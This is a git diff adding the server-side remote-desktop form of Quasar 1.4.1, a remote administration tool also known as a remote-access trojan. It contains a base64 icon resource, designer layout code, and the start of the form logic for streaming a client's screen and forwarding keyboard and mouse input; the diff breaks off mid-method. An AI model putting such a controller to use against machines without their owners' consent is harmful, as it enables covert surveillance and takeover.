I/8YBgD/kYR///7+/f/7+fn/f29p/xwLBP88LCX/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/y4e + F/85Jh//u7Ou//////////////////////+4r6v/PCoi/y4eF/86KiP/OSki/zkpIv85KSL/Oioj/y0d + Fv9GNi/Zbl5Xh////wH///8B////Af///wH///8B////AVFBOqs+LifvMSEa/zgoIf85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/NiYf/zkpIf9tXlj/iXx4//z38//Pysj/e2xm/1pLRP8yIRr/Nycg/zkp + Iv85KSL/OSki/zkpIv86KiP/HQsE/3hoYP/6+fn/9fTz/1xNRv8jEgv/Oisk/zkpIv85KSL/OSki/zkp + Iv86KiP/Oioj/zsrJP8xIRr/MR8Y/52Qiv/7+vn////////////7+fn/m4+I/zAfF/8yIhv/Oioj/zkp + Iv85KSL/OSki/zoqI/8tHRb/RjYv221dVov///8B////Af///wH///8B////Af///wFTQzyrPy8o7zIi + G/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/zIiG/88KiL/4NfT/////////v3///7+//// + //+bko7/JBIL/zQjHP85KSL/OSki/zkpIv85KSL/Oioj/yQTC/9ZS0X/9fT0//Hv7v9DMiv/JxcQ/zoq + I/85KSL/OSki/zoqI/85KSL/KxsU/yoZEv82Jh7/Oysl/zMjHP8aCAX/lIiD//79/P/9/fz/koeD/xkH + BP80JR3/Oysk/zkpIv85KSL/OSki/zkpIv87KyT/LR0W/0MzLNtsXFWL////Af///wH///8B////Af// + /wH///8BaFhRaUU1LscsHBX/Oioj/zgoIf85KSL/OSki/zgoIf85KSL/OSki/zkpIv83JyD/OSoj/1RF + Pv9pWlP/9/Hv/8O/vP9WR0D/Szs0/zQkHP84KCH/OSki/zkpIv85KSL/OSki/zkpIv8oFxD/QjEq//Hv + 7//j3tr/OSYe/ywcFv86KiP/OSki/zkpIv86KyT/Lh0V/1A/N/9WR0D/MB8X/zMjHP87KyT/KhoU/ygV + Dv/k3tv/5N7b/yoXEP8oGRP/Oysk/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/ygYEf9MPDW7f29oWf// + /wH///8B////Af///wH///8B////AYd3cBNrW1RdLx8Y7TAgGf84KCH/OSki/zkpIv84KCH/OCgh/zkp + Iv85KSL/OSki/zgoIf8lEw3/MB4c/+fg2/+noZ7/FQMA/y4dFv86KiP/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/LBwV/zglHf/s5uP/z8nG/y0bEv8yIhv/OSki/zkpIv87KyP/JhYQ/2dXUP/v6+n/+vn3/5iM + iP8qGBD/MiMc/zsrJP8bCwT/mImC/5WFf/8ZCQP/PCwl/zkpIv85KSL/OSki/zoqI/85KSL/Nycg/zAg + Gf81JR7nf29oUaOTjA3///8B////Af///wH///8B////Af///wH///8B////AV5OR1FDMyzRNSUe/zYm + H/83JyD/Oioj/zgoIf85KSL/OSki/zkpIv84KCH/Nycg/zgoIf9XSEL/T0A5/zUlHv85KSL/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zEhGv8tGxP/3tfV/7u1s/8gDQX/Nygh/zkpIv85KSL/PCwl/xYE + Af+qoZ7////////////X0s//Oygh/ycXEP86KiP/NCUe/0IxKf9DMiv/MiMc/zkpIv85KSL/OSki/zoq + I/83JyD/MyMc/zQkHf06KiPDWEhBQf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BZVVOGVJCO307KyTbMCAZ/zQkHf84KCH/OSki/zkpIv85KSL/OSki/zkpIv83KCH/JhYO/ywb + FP87KyT/OSki/zgoIf85KSL/OSki/zkpIv85KSL/OCgh/zgoIf82Jh//IxAI/8zGw/+uqKb/FgQA/zsr + JP85KSL/OSki/zorJP8nFg//ZlZQ/+Tg3v/v7ez/n5WQ/yoZEf80JB3/OSki/zopIv8wIBr/MCAZ/zoq + I/84KCH/OSki/zkpIv8zIxz/Lh4X/z4uJ9deTkdzX09IE////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BUEA5L1lJQps4KCHtNSUe/zYmH/85KSL/OCgh/zgo + If84KCH/OSki/zsrJP86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/xsI + Av+yqqf/ppqU/xoJAv87KyT/OSki/zkpIv85KSL/Oysk/y0cFP9SQjv/WUlD/y8fF/8zIxz/Oysk/zkp + Iv85KSL/OSki/zkpIv84KCH/OSki/zYmH/8zIxz/OSki52RUTZFeTkcn////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wGBcWoFTj43SUc3 + MK80JB31Lx8Y/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zsrJP8dDAX/npGL/5OFfv8gDwj/Oysk/zgoIf85KSL/OSki/zoqI/83KCH/IxML/yMR + Cf8xIRn/PCwl/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/y4eF/8yIhv1Tz84o1tLRD+VhX4F////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wFPPzgJVUU+X0g4MdUwIBn/MSEa/zsrJP85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/IxMM/5B/eP+Ccmv/JRYP/zoqI/84KCH/OSki/zkp + Iv85KSL/OSki/zkqI/86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/NSUe/zAgGf9JOTLPXExFV19P + SAf///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIbTj43dz0tJu0vHxj/OCgh/zkp + Iv85KSL/OSki/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/ygYEf96amP/bl5X/yoa + E/85KSL/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv84KCH/Lh4X/zsr + JN1RQTpzeGhhE////wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVRE + PQOIeHEvSjozozUlHvs0JB3/NiYf/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoq + I/8wIBn/XU1G/1FBOv8yIhv/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zcnIP84KCH/OCgh/zcn + IP81JR7/NCQd+VtLRJ1dTUYjWkpDA////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AVFBOgVPPzhJQDApuzYmH/8zIxz/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zsrJP83JyD/OSki/zcnIP85KSL/OSki/zkpIv85KSL/OCgh/zgo + If85KSL/Nycg/zMjHP81JR77Pi8ot1hIQUNmVk8D////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVlJQgtuXldtNSUe1zEh + Gv8xIRr/OCgh/zoqI/85KSL/OSki/zkpIv85KSL/OSki/zoqI/82Jh//NiYf/zgoIf84KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv81JR7/NiYf/zIiG/9HNzDTWkpDX0U1LgX///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AVNDPCE9LSaPPS0m5TMjHP83JyD/Oioj/zoqI/85KSL/OSki/zgoIf85KSL/OSki/zgo + If84KCH/OSki/zgoIf85KSL/Oioj/zoqI/81JR7/MiIb/zoqI9tAMCqHcmJbHf///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWhYUTtGNjCrNCQd8zEhGv81JR7/Oioj/zkp + Iv83JyD/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/Oysk/zMjHP8tHRb/OCgh71dHQKNJOTIt////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BXU1GBz4u + J09AMCm9NSUe/zIiG/84KCH/OSki/zgoIf85KSL/OSki/zgoIf86KiP/OSki/zEhGv8zIxz/RDQtt0o6 + M0l5aWIF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BXk5HE2paU2U0JB3bKBgR/zMjHP85KSL/OCgh/zgoIf85KSL/MiIb/y4e + F/83JyDZdGRdX25eVw////8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BVUU+I2BQSY04KCHzLh4X/zoq + I/85KSL/MSEa/zkpIu9FNS5/SDgxH////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BYlJLOUU1Lq8yIhvXMiIb104+N6lqWlM1////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== + + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteDesktop.Designer.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteDesktop.Designer.cs new file mode 100755 index 0000000..92c79dd --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteDesktop.Designer.cs @@ -0,0 +1,296 @@ +using Quasar.Server.Controls; + +namespace Quasar.Server.Forms +{ + partial class FrmRemoteDesktop + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmRemoteDesktop)); + this.btnStart = new System.Windows.Forms.Button(); + this.btnStop = new System.Windows.Forms.Button(); + this.barQuality = new System.Windows.Forms.TrackBar(); + this.lblQuality = new System.Windows.Forms.Label(); + this.lblQualityShow = new System.Windows.Forms.Label(); + this.btnMouse = new System.Windows.Forms.Button(); + this.panelTop = new System.Windows.Forms.Panel(); + this.lblFPS = new System.Windows.Forms.Label(); + this.numFPS = new System.Windows.Forms.NumericUpDown(); + this.btnKeyboard = new System.Windows.Forms.Button(); + this.cbMonitors = new System.Windows.Forms.ComboBox(); + this.btnHide = new System.Windows.Forms.Button(); + this.btnShow = new System.Windows.Forms.Button(); + this.toolTipButtons = new System.Windows.Forms.ToolTip(this.components); + this.picDesktop = new Quasar.Server.Controls.RapidPictureBox(); + ((System.ComponentModel.ISupportInitialize)(this.barQuality)).BeginInit(); + this.panelTop.SuspendLayout(); + ((System.ComponentModel.ISupportInitialize)(this.numFPS)).BeginInit(); + ((System.ComponentModel.ISupportInitialize)(this.picDesktop)).BeginInit(); + this.SuspendLayout(); + // + // btnStart + // + this.btnStart.Location = new System.Drawing.Point(19, 6); + this.btnStart.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.btnStart.Name = "btnStart"; + this.btnStart.Size = new System.Drawing.Size(85, 29); + this.btnStart.TabIndex = 1; + this.btnStart.TabStop = false; + this.btnStart.Text = "Start"; + this.btnStart.UseVisualStyleBackColor = true; + this.btnStart.Click += new System.EventHandler(this.btnStart_Click); + // + // btnStop + // + this.btnStop.Enabled = false; + this.btnStop.Location = new System.Drawing.Point(120, 6); + this.btnStop.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.btnStop.Name = "btnStop"; + this.btnStop.Size = new System.Drawing.Size(85, 29); + this.btnStop.TabIndex = 2; + this.btnStop.TabStop = false; + this.btnStop.Text = "Stop"; + this.btnStop.UseVisualStyleBackColor = true; + this.btnStop.Click += new System.EventHandler(this.btnStop_Click); + // + // barQuality + // + this.barQuality.Location = new System.Drawing.Point(258, -1); + this.barQuality.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.barQuality.Maximum = 100; + this.barQuality.Minimum = 1; + this.barQuality.Name = "barQuality"; + this.barQuality.Size = new System.Drawing.Size(95, 56); + this.barQuality.TabIndex = 3; + this.barQuality.TabStop = false; + this.barQuality.Value = 75; + this.barQuality.Scroll += new System.EventHandler(this.barQuality_Scroll); + // + // lblQuality + // + this.lblQuality.AutoSize = true; + this.lblQuality.Location = new System.Drawing.Point(209, 6); + this.lblQuality.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblQuality.Name = "lblQuality"; + this.lblQuality.Size = new System.Drawing.Size(56, 19); + this.lblQuality.TabIndex = 4; + this.lblQuality.Text = "Quality:"; + // + // lblQualityShow + // + this.lblQualityShow.AutoSize = true; + this.lblQualityShow.Location = new System.Drawing.Point(275, 32); + this.lblQualityShow.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblQualityShow.Name = "lblQualityShow"; + this.lblQualityShow.Size = new System.Drawing.Size(64, 19); + this.lblQualityShow.TabIndex = 5; + this.lblQualityShow.Text = "75 (high)"; + // + // btnMouse + // + this.btnMouse.Image = global::Quasar.Server.Properties.Resources.mouse_delete; + this.btnMouse.Location = new System.Drawing.Point(378, 6); + this.btnMouse.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.btnMouse.Name = "btnMouse"; + this.btnMouse.Size = new System.Drawing.Size(35, 35); + this.btnMouse.TabIndex = 6; + this.btnMouse.TabStop = false; + this.toolTipButtons.SetToolTip(this.btnMouse, "Enable mouse input."); + this.btnMouse.UseVisualStyleBackColor = true; + this.btnMouse.Click += new System.EventHandler(this.btnMouse_Click); + // + // panelTop + // + this.panelTop.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.panelTop.Controls.Add(this.lblFPS); + this.panelTop.Controls.Add(this.numFPS); + this.panelTop.Controls.Add(this.btnKeyboard); + this.panelTop.Controls.Add(this.cbMonitors); + this.panelTop.Controls.Add(this.btnHide); + this.panelTop.Controls.Add(this.lblQualityShow); + this.panelTop.Controls.Add(this.btnMouse); + this.panelTop.Controls.Add(this.btnStart); + this.panelTop.Controls.Add(this.btnStop); + this.panelTop.Controls.Add(this.lblQuality); + this.panelTop.Controls.Add(this.barQuality); + this.panelTop.Location = new System.Drawing.Point(236, -1); + this.panelTop.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.panelTop.Name = "panelTop"; + this.panelTop.Size = new System.Drawing.Size(562, 71); + this.panelTop.TabIndex = 7; + // + // lblFPS + // + this.lblFPS.AutoSize = true; + this.lblFPS.Location = new System.Drawing.Point(462, 11); + this.lblFPS.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0); + this.lblFPS.Name = "lblFPS"; + this.lblFPS.Size = new System.Drawing.Size(34, 19); + this.lblFPS.TabIndex = 10; + this.lblFPS.Text = "FPS:"; + // + // numFPS + // + this.numFPS.Location = new System.Drawing.Point(494, 8); + this.numFPS.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.numFPS.Maximum = new decimal(new int[] { + 60, + 0, + 0, + 0}); + this.numFPS.Minimum = new decimal(new int[] { + 10, + 0, + 0, + 0}); + this.numFPS.Name = "numFPS"; + this.numFPS.Size = new System.Drawing.Size(56, 26); + this.numFPS.TabIndex = 11; + this.numFPS.TabStop = false; + this.toolTipButtons.SetToolTip(this.numFPS, "FPS Cap (10-60)"); + this.numFPS.Value = new decimal(new int[] { + 60, + 0, + 0, + 0}); + // + // btnKeyboard + // + this.btnKeyboard.Image = global::Quasar.Server.Properties.Resources.keyboard_delete; + this.btnKeyboard.Location = new System.Drawing.Point(420, 6); + this.btnKeyboard.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.btnKeyboard.Name = "btnKeyboard"; + this.btnKeyboard.Size = new System.Drawing.Size(35, 35); + this.btnKeyboard.TabIndex = 9; + this.btnKeyboard.TabStop = false; + this.toolTipButtons.SetToolTip(this.btnKeyboard, "Enable keyboard input."); + this.btnKeyboard.UseVisualStyleBackColor = true; + this.btnKeyboard.Click += new System.EventHandler(this.btnKeyboard_Click); + // + // cbMonitors + // + this.cbMonitors.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList; + this.cbMonitors.FormattingEnabled = true; + this.cbMonitors.Location = new System.Drawing.Point(19, 38); + this.cbMonitors.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.cbMonitors.Name = "cbMonitors"; + this.cbMonitors.Size = new System.Drawing.Size(185, 27); + this.cbMonitors.TabIndex = 8; + this.cbMonitors.TabStop = false; + // + // btnHide + // + this.btnHide.Location = new System.Drawing.Point(212, 46); + this.btnHide.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.btnHide.Name = "btnHide"; + this.btnHide.Size = new System.Drawing.Size(68, 24); + this.btnHide.TabIndex = 7; + this.btnHide.TabStop = false; + this.btnHide.Text = "Hide"; + this.btnHide.UseVisualStyleBackColor = true; + this.btnHide.Click += new System.EventHandler(this.btnHide_Click); + // + // btnShow + // + this.btnShow.Location = new System.Drawing.Point(0, 0); + this.btnShow.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.btnShow.Name = "btnShow"; + this.btnShow.Size = new System.Drawing.Size(68, 24); + this.btnShow.TabIndex = 8; + this.btnShow.TabStop = false; + this.btnShow.Text = "Show"; + this.btnShow.UseVisualStyleBackColor = true; + this.btnShow.Visible = false; + this.btnShow.Click += new System.EventHandler(this.btnShow_Click); + // + // picDesktop + // + this.picDesktop.BackColor = System.Drawing.Color.Black; + this.picDesktop.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle; + this.picDesktop.Cursor = System.Windows.Forms.Cursors.Default; + this.picDesktop.Dock = System.Windows.Forms.DockStyle.Fill; + this.picDesktop.GetImageSafe = null; + this.picDesktop.Location = new System.Drawing.Point(0, 0); + this.picDesktop.Margin = new System.Windows.Forms.Padding(4); + this.picDesktop.Name = "picDesktop"; + this.picDesktop.Running = false; + this.picDesktop.Size = new System.Drawing.Size(980, 702); + this.picDesktop.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage; + this.picDesktop.TabIndex = 0; + this.picDesktop.TabStop = false; + this.picDesktop.MouseDown += new System.Windows.Forms.MouseEventHandler(this.picDesktop_MouseDown); + this.picDesktop.MouseMove += new System.Windows.Forms.MouseEventHandler(this.picDesktop_MouseMove); + this.picDesktop.MouseUp += new System.Windows.Forms.MouseEventHandler(this.picDesktop_MouseUp); + // + // FrmRemoteDesktop + // + this.AutoScaleDimensions = new System.Drawing.SizeF(120F, 120F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; + this.ClientSize = new System.Drawing.Size(980, 702); + this.Controls.Add(this.btnShow); + this.Controls.Add(this.panelTop); + this.Controls.Add(this.picDesktop); + this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.KeyPreview = true; + this.Margin = new System.Windows.Forms.Padding(4, 4, 4, 4); + this.MinimumSize = new System.Drawing.Size(796, 588); + this.Name = "FrmRemoteDesktop"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Remote Desktop []"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmRemoteDesktop_FormClosing); + this.Load += new System.EventHandler(this.FrmRemoteDesktop_Load); + this.Resize += new System.EventHandler(this.FrmRemoteDesktop_Resize); + ((System.ComponentModel.ISupportInitialize)(this.barQuality)).EndInit(); + this.panelTop.ResumeLayout(false); + this.panelTop.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.numFPS)).EndInit(); + ((System.ComponentModel.ISupportInitialize)(this.picDesktop)).EndInit(); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Button btnStart; + private System.Windows.Forms.Button btnStop; + private System.Windows.Forms.TrackBar barQuality; + private System.Windows.Forms.Label lblQuality; + private System.Windows.Forms.Label lblQualityShow; + private System.Windows.Forms.Button btnMouse; + private System.Windows.Forms.Panel panelTop; + private System.Windows.Forms.Button btnHide; + private System.Windows.Forms.Button btnShow; + private System.Windows.Forms.ComboBox cbMonitors; + private System.Windows.Forms.Button btnKeyboard; + private System.Windows.Forms.NumericUpDown numFPS; + private System.Windows.Forms.Label lblFPS; + private System.Windows.Forms.ToolTip toolTipButtons; + private Controls.RapidPictureBox picDesktop; + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteDesktop.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteDesktop.cs new file mode 100755 index 0000000..10b2885 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteDesktop.cs @@ -0,0 +1,486 @@ +using Gma.System.MouseKeyHook; +using Quasar.Common.Enums; +using Quasar.Common.Helpers; +using Quasar.Common.Messages; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Helper; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Messages; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Networking; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Utilities; +using System; +using System.Collections.Generic; +using System.Drawing; +using System.Windows.Forms; + +namespace Quasar.Server.Forms +{ + public partial class FrmRemoteDesktop : Form + { + /// + /// States whether remote mouse input is enabled. + /// + private bool _enableMouseInput; + + /// + /// States whether remote keyboard input is enabled. + /// + private bool _enableKeyboardInput; + + /// + /// Holds the state of the local keyboard hooks. + /// + private IKeyboardMouseEvents _keyboardHook; + + /// + /// Holds the state of the local mouse hooks. + /// + private IKeyboardMouseEvents _mouseHook; + + /// + /// A list of pressed keys for synchronization between key down & -up events. + /// + private readonly List _keysPressed; + + /// + /// The client which can be used for the remote desktop. + /// + private readonly Client _connectClient; + + /// + /// The message handler for handling the communication with the client. + /// + private readonly RemoteDesktopHandler _remoteDesktopHandler; + + /// + /// Holds the opened remote desktop form for each client. + /// + private static readonly Dictionary OpenedForms = new Dictionary(); + + /// + /// Creates a new remote desktop form for the client or gets the current open form, if there exists one already. + /// + /// The client used for the remote desktop form. + /// + /// Returns a new remote desktop form for the client if there is none currently open, otherwise creates a new one. + /// + public static FrmRemoteDesktop CreateNewOrGetExisting(Client client) + { + if (OpenedForms.ContainsKey(client)) + { + return OpenedForms[client]; + } + FrmRemoteDesktop r = new FrmRemoteDesktop(client); + r.Disposed += (sender, args) => OpenedForms.Remove(client); + OpenedForms.Add(client, r); + return r; + } + + /// + /// Initializes a new instance of the class using the given client. + /// + /// The client used for the remote desktop form. + public FrmRemoteDesktop(Client client) + { + _connectClient = client; + _remoteDesktopHandler = new RemoteDesktopHandler(client); + _keysPressed = new List(); + + RegisterMessageHandler(); + InitializeComponent(); + } + + /// + /// Called whenever a client disconnects. + /// + /// The client which disconnected. + /// True if the client connected, false if disconnected + private void ClientDisconnected(Client client, bool connected) + { + if (!connected) + { + this.Invoke((MethodInvoker)this.Close); + } + } + + /// + /// Registers the remote desktop message handler for client communication. + /// + private void RegisterMessageHandler() + { + _connectClient.ClientState += ClientDisconnected; + _remoteDesktopHandler.DisplaysChanged += DisplaysChanged; + _remoteDesktopHandler.ProgressChanged += UpdateImage; + MessageHandler.Register(_remoteDesktopHandler); + } + + /// + /// Unregisters the remote desktop message handler. + /// + private void UnregisterMessageHandler() + { + MessageHandler.Unregister(_remoteDesktopHandler); + _remoteDesktopHandler.DisplaysChanged -= DisplaysChanged; + _remoteDesktopHandler.ProgressChanged -= UpdateImage; + _connectClient.ClientState -= ClientDisconnected; + } + + /// + /// Subscribes to local mouse and keyboard events for remote desktop input. + /// + private void SubscribeEvents() + { + // TODO: Check Hook.GlobalEvents vs Hook.AppEvents below + // TODO: Maybe replace library with .NET events like on Linux + if (PlatformHelper.RunningOnMono) // Mono/Linux + { + this.KeyDown += OnKeyDown; + this.KeyUp += OnKeyUp; + } + else // Windows + { + _keyboardHook = Hook.GlobalEvents(); + _keyboardHook.KeyDown += OnKeyDown; + _keyboardHook.KeyUp += OnKeyUp; + + _mouseHook = Hook.AppEvents(); + _mouseHook.MouseWheel += OnMouseWheelMove; + } + } + + /// + /// Unsubscribes from local mouse and keyboard events. + /// + private void UnsubscribeEvents() + { + if (PlatformHelper.RunningOnMono) // Mono/Linux + { + this.KeyDown -= OnKeyDown; + this.KeyUp -= OnKeyUp; + } + else // Windows + { + if (_keyboardHook != null) + { + _keyboardHook.KeyDown -= OnKeyDown; + _keyboardHook.KeyUp -= OnKeyUp; + _keyboardHook.Dispose(); + } + if (_mouseHook != null) + { + _mouseHook.MouseWheel -= OnMouseWheelMove; + _mouseHook.Dispose(); + } + } + } + + /// + /// Starts the remote desktop stream and begin to receive desktop frames. + /// + private void StartStream() + { + ToggleConfigurationControls(true); + + picDesktop.Start(); + // Subscribe to the new frame counter. + picDesktop.SetFrameUpdatedEvent(frameCounter_FrameUpdated); + + this.ActiveControl = picDesktop; + + _remoteDesktopHandler.BeginReceiveFrames(barQuality.Value, cbMonitors.SelectedIndex, (int)numFPS.Value); + } + + /// + /// Stops the remote desktop stream. + /// + private void StopStream() + { + ToggleConfigurationControls(false); + + picDesktop.Stop(); + // Unsubscribe from the frame counter. It will be re-created when starting again. + picDesktop.UnsetFrameUpdatedEvent(frameCounter_FrameUpdated); + + this.ActiveControl = picDesktop; + + _remoteDesktopHandler.EndReceiveFrames(); + } + + /// + /// Toggles the activatability of configuration controls in the status/configuration panel. + /// + /// When set to true the configuration controls get enabled, otherwise they get disabled. + private void ToggleConfigurationControls(bool started) + { + btnStart.Enabled = !started; + btnStop.Enabled = started; + barQuality.Enabled = !started; + cbMonitors.Enabled = !started; + numFPS.Enabled = !started; + } + + /// + /// Toggles the visibility of the status/configuration panel. + /// + /// Decides if the panel should be visible. + private void TogglePanelVisibility(bool visible) + { + panelTop.Visible = visible; + btnShow.Visible = !visible; + this.ActiveControl = picDesktop; + } + + /// + /// Called whenever the remote displays changed. + /// + /// The message handler which raised the event. + /// The currently available displays. + private void DisplaysChanged(object sender, int displays) + { + cbMonitors.Items.Clear(); + for (int i = 0; i < displays; i++) + cbMonitors.Items.Add($"Display {i + 1}"); + cbMonitors.SelectedIndex = 0; + } + + /// + /// Updates the current desktop image by drawing it to the desktop picturebox. + /// + /// The message handler which raised the event. + /// The new desktop image to draw. + private void UpdateImage(object sender, Bitmap bmp) + { + picDesktop.UpdateImage(bmp, false); + } + + private void FrmRemoteDesktop_Load(object sender, EventArgs e) + { + if (Settings.DarkMode) { DarkModeManager.ApplyDarkMode(this); } + 